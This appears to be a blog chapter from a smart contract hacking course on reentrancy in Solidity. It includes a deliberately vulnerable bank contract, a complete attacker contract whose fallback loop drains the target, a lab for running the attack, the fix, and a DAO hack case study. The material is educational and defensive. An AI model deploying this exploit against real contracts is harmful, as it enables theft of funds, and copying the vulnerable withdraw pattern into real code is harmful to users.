Reentrancy Intro
In this chapter we will take a look at bypassing incorrectly
coded value transaction patterns within Ethereum smart contracts. These
incorrectly coded patterns can lead to Reentrancy attacks that ultimately allow
an attacker to liquidate the contract of all of its funds without much effort. The
incorrect order of operations allows an attacker to avoid require statements which
check if a user’s balance is high enough to send a transaction. We can use this
to bypass incorrect logic patterns and drain a contract of its funds.
Reentrancy attacks allow an attacker to create a loop between a target contract and a malicious attacker owned contract. Instead
of a normal user making a request, the request comes from the attacker’s contract
which does not let the target contracts execution complete until the evil tasks
intended by the attacker are complete. Usually this task will be draining the funds
out of the contract bit by bit until all of the contracts funds are transferred
to the attacker’s contract.
Checks Effects Interactions Pattern
The checks effects interactions pattern is a secure coding
pattern within Solidity on Ethereum which prevents an attacker from re-entering
a contract over and over. It does this by ensuring that balances are updated
correctly before sending a transaction. It does this by:
ü Checking that the requirements are met before continuing execution.
ü Updating balances and making changes before interacting with an external actor
ü Finally, after the transaction is validated and the changes are made interactions are allowed with the external entity
The incorrectly coded pattern that usually creates a
vulnerable smart contract is the common sense approach that first checks if a
user’s balance is large enough for the transaction, then sends the funds to the
user. Once the transaction goes through, without error, the amount is
subtracted from the user’s balance.
The problem is that if a hacker’s contract calls the target smart contract rather than a valid user calling the contract, the hacker’s contract can run code in a loop. The hacker can call the same function in the target contract again without ever reaching the code that subtracts from the user’s balance. This means that the initial balance check that passed the first time will pass again and again and again because it is at the same balance that passed the first time. You see where this is going right? The transaction will continue until the balance for the whole contract is empty, rather than just the users balance. Let’s take a look at a simple example in order to understand how this works.
Simple Reentrancy Example Code
The following is a simple example of a banking smart contract with the ability to deposit, withdraw and check your current balance.
Action Items:
ü Review the code and discover where the coding pattern violation is located before reading further or watching the video.
Questions to ask yourself:
ü Is the coding pattern we spoke about above correct?
ü If not, where do the issues reside? and what about this code flow creates a vulnerable transaction state?
1. pragma solidity ^0.6.6;
2.
3. contract simpleReentrancy {
4. mapping (address => uint) private balances;
5.
6. function deposit() public payable {
7. require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
8. balances[msg.sender] += msg.value;
9. }
10.
11. function withdraw(uint withdrawAmount) public returns (uint) {
12. require(withdrawAmount <= balances[msg.sender]);
13. msg.sender.call.value(withdrawAmount)("");
14.
15. balances[msg.sender] -= withdrawAmount;
16. return balances[msg.sender];
17. }
18.
19. function getBalance() public view returns (uint){
20. return balances[msg.sender];
21. }
22.}
Simple Reentrancy Target Analysis Video:
There are three functions in the above contract, but the one
we need to pay special attention to is the one that interacts with outside
users. The withdraw function sends funds to the address of the user who called
the withdraw function. This would be classified as an interaction and needs to
follow our secure pattern.
The line breakdown of the withdraw function is as follows:
ü Line 12: Checks that you are only withdrawing the amount you have in your account or sends back an error.
ü Line 13: Sends your requested amount to the address the requested a withdrawal.
ü Line 15: Deducts the amount withdrawn from the accounts total balance.
ü Line 16. Simply returns your current balance.
Based on the above breakdown this function is following a:
Checks à
Interaction à
Effects
which violates the
Checks à
Effects à
Interactions
Because we interact with an external entity prior to
updating the effects, the target contract is at risk for a call by a
malicious contract that executes a loop with a malicious purpose.
Passing the Checks:
Essentially what will happen is that the attacker will use
his own malicious contract to call the withdraw function after adding a small
value to his account. When the withdraw function is called the attackers
contract will attempt to withdraw a smaller amount then the attacker has in his
account which will pass the Checks portion of the pattern on line 12.
Looping the Interaction:
Next the target contract will attempt to interact with the
attacker’s contract by sending the valid withdrawn value from the contract.
However, the attacker will have a fallback function that receives the sent
value and calls the withdraw function again.
The second time calling the target contract will result in
the exact same checks and interaction without ever updating the balance via the
Effects portion. Over and Over and Over again.
Updating the Effects:
The Effects portion will only be updated after the attacker’s loop ends and the damage is done. Which means that the attacker has
withdrawn funds many times over, but only subtracted that value a single time.
Potentially draining all of the funds of the contract.
Attacking Code Example:
If we take a look at the following attacker’s contract, we
will see how the attacker creates this loop and we can analyze the
order of operations that makes this possible.
1. interface targetInterface{
2. function deposit() external payable;
3. function withdraw(uint withdrawAmount) external;
4. }
5.
6. contract simpleReentrancyAttack{
7. targetInterface bankAddress = targetInterface(TARGET_ADDRESS_HERE);
8. uint amount = 1 ether;
9.
10. function deposit() public payable{
11. bankAddress.deposit.value(amount)();
12. }
13.
14. function attack() public payable{
15. bankAddress.withdraw(amount);
16. }
17.
18. function retrieveStolenFunds() public {
19. msg.sender.transfer(address(this).balance);
20. }
21.
22. fallback () external payable{
23. if (address(bankAddress).balance >= amount){
24. bankAddress.withdraw(amount);
25. }
26. }
27.}
The attacking code above is used by the attacker to siphon funds from a vulnerable contract. The main attack code in this contract is found on lines 22-24. This code creates a looping condition into the other contract by using a fallback function.
What is a fallback function?
A fallback function is a default function in a contract that
is called when no other function is specified. So, in this instance when the
contract receives funds and no other directions from the withdraw function,
then the fallback function will execute on line 22. The fallback function will
check that the target contract still contains a balance larger then what we are
requesting which is defined on line 8 as “1 Ether”.
If this check passes then our contract calls back into the
withdraw function again at line 24. Which starts the whole process over and
over again until the balance of the target contract is less than 1 ether. Let’s take a look at a graphical
representation of this to help understand what’s going on.
The picture above shows the target contract and the
attackers contract side by side. The attack function calls into the withdraw
function initially. Then the fallback function is entered from the withdrawal transaction
and returns right back to the beginning of the withdraw function from the
fallback functions call back into the contract.
This forms the loop between withdraw and fallback until the contract is
below 1 ether.
That explains the main attack portion of the contract. The
other parts of this attacking contract are just helping setup for the attack
for example the interface code at line 1 simply creates an interface into the
target contract via its function definitions.
This interface is then set to the address of the target contract on line
7. With this interface you can now call the functions directly with the
bankAddress interface using the function name as seen in the deposit function
and attack function to call deposit and withdraw.
There is one other function we didn’t mention which has
nothing to do with the attack but helps us claim our funds after the contract
is sent the ether from the attack. This function is on line 18 named
retrieveStolenFunds. It simply takes the balance of “this” contract and
transfers it to our personal address.
Hands on Lab - Attacking a Simple Reentrancy
Let’s try attacking the banking contract to see Reentrancy
in action. Type out the code above for
the target contract and understand what each piece of the contract does. Then type out the attacker’s contract and try
to piece together what each part of the attack does and what the sequence of
execution will be.
Note: It’s important that you type out this code and do not
copy paste as it will help you in spotting issues in the future and your
understanding of how things work.
Action Steps:
ü With account 1 deploy the target simpleReentrancy contract
ü Deposit 20 Ether into the account by adjusting the Value field and selecting Ether
ü Copy paste the address of the target contract and enter it into the target Interface variable in the attackers contract
ü Deploy the attacker’s contract simpleReentrancyAttack contract
ü Deposit 2 ether into your account using the attackers contract deposit function
ü Then execute the attack function with the attack button
ü Why did it pause?
ü When attack completes execution note your second accounts balance and click retrieveStolenFunds
ü Note your new balance
After running the attack, you should have noticed that your balance was updated by roughly 22 ether give or take fees. This would be the balance of the target contract initially and your own balance returned. You would have also noticed a pause when you clicked attack. This is because you are waiting for the contracts loop to complete its execution. It was calling the contract over and over again until 22 times.
Exploiting Reentrancy on the Target Smart Contract:
Smart Contract Hacking 0x09 Exploiting Reentrancy.mp4 from Console Cowboys on Vimeo.
Hands on Lab - Fixing the Checks Effects interaction
Pattern
Reentrancy is a relatively easy vulnerability to fix, yet also
a very easy mistake to make. It’s easy to make a mistake because the vulnerable
logic makes sense in real world logic. The
vulnerable code should function correctly, if it were not interacting with a
malicious contract. However, we do not expect an attacker’s contract to be the
receiver of the withdraw, thus throwing a wrench in real world logic. This is why we need to re-code this to function
correctly using a secure pattern when dealing with DApps and web3.0.
Now let’s correct the coding pattern by switching the order
of operations to first decrease the accounts balance and then complete then initiate
the withdraw transaction. The following image shows both the vulnerable and
fixed code, where the original code is the on top and the fixed code is below:
Action Steps:
ü Implement these changes in your contract.
ü Redeploy both contracts making sure to update the address of the target contract in the attacker’s contract
ü Try this attack again, following the steps from above and observe how the results vary
With this simple change, our contracts balance is not
decreased with each call to the withdraw function only the attackers balance is
reduced until the attacker runs out of funds. If the attacker were to keep calling
this function, the require check at the beginning of the function would fail as
soon as the attacker ran out of funds. However, due to the usage of Call.Value and
the lack of error handling, the funds may be incorrectly handled in the
contract and error checking must be manually implemented. This is what we will look
at next in regards to low level vs high level transfer functions.
Send vs Transfer Vs Call.Value
Another relevant topic is that of the ways to transfer funds
within Solidity. The “call” which was used in the withdraw function is a
low-level function which can lead to issues and is largely replaced by the
usage of Send or Transfer. Let’s break
these out and explain them:
Call.value()()
ü Returns false on failure
ü Forwards available gas
ü Low level function
Call.Value is dangerous because it forwards all of the
available gas allowing for a reentrancy attack. It also does not return an
error message and requires you to parse out the return Boolean value and
perform an action based on this check. For example, if you were to make changes
in the effects prior to the call.value, you may need to manually revert these
changes as part of your error checking actions.
Send()
ü Returns false on failure
ü Forwards a gas value of 2300
ü Low level function
The send function limits the gas value to 2300 which helps
prevent a reentrancy as there is a limit to how much the function can actually
do before it fails. However, this is also a low-level function and you must be
mindful of the lack of errors when this does fail exactly like the Call.value.
Transfer()
ü Actually, throws an error on failure
ü Forwards a gas value of 2300
ü High level function
The transfer function provides a gas limit like the Send
function but additionally provides an error and will revert changes made to the
user’s balance.
All of these functions are available for sending value out
of the contract, however, only use low level functions with caution, and make
sure to do error checking and make decisions on those errors. This will prevent
hidden bugs in your code from error conditions. Also make sure to properly
follow the checks, effects, interactions pattern in your code.
Case Study – The Dao Hack
The DAO attack was the most famous blockchain attack ever
performed. The DAO was a venture capital fund which pooled investors Ether for
funding projects much like a crowdfunding application. The project initially
raised 12.7 million Ether which at the time was equal to about 150 million
dollars.
This Smart Contract contained a SplitDao function meant for
removing funds into a child DAO when a user didn’t like a majority decision of
how to use funds. However, a Reentrancy vulnerability within the split function
was found that ultimately allowed the attacker to remove 3.6 million Ether from
the contract. This was a lot of money, but the bigger issue was the decision
made by the Ethereum community to roll back the transaction, and give the users
their funds back. As this violates the immutability of the blockchain. This should
never happen again, but due to the immaturity of the network at the time, they
felt it was needed.
This is the only time the Ethereum network violated the
immutability of the blockchain and rolled back transactions on the Ethereum
blockchain. The decision created a major
idealistic split in the Ethereum community resulting in a hard fork of the
network. Because of this split we now Ethereum classic and Ethereum. The
network hard forked into two separate chains. One that contains the loss of
funds on Ethereum Classic and one chain that does not contain the rollback,
which is what we know as Ethereum.
Below we can see a snipped version of the original SplitDAO
function which contained the issue:
1. function splitDAO(
2. uint _proposalID,
3. address _newCurator
4. noEther onlyTokenholders returns (bool _success)) {
5.
6. //Snipped lines for Readability
7. Transfer(msg.sender, 0, balances[msg.sender]);
8. withdrawRewardFor(msg.sender);
9.
10. totalSupply -= balances[msg.sender];
11. balances[msg.sender] = 0;
12. paidOut[msg.sender] = 0;
13. return true;
14.}
If you take a look at lines 7-11 you will see a violation of
our Checks à
Effects à
Interactions pattern.
On line 7-8 the contract is making withdrawal calls.
However, following these withdrawals, the balances are updated on lines 10-11.
If the attacker were to call back into the splitDao function when the
interaction happened on line 8 then the attacker is able to drain the contract
of millions of dollars. The balances are never updated until the attackers code
is finished with its functionality.
Reentrancy Summary
In this chapter we took a look at secure coding patterns and
high vs low level functions. We then interacted with vulnerable smart contracts
that violated these secure coding principals. We exploited and fixed these
issues ourselves in order to show how simple mistakes lead to huge losses in
the case of attacks such as the famous DAO attack.
Reentrancy References
https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.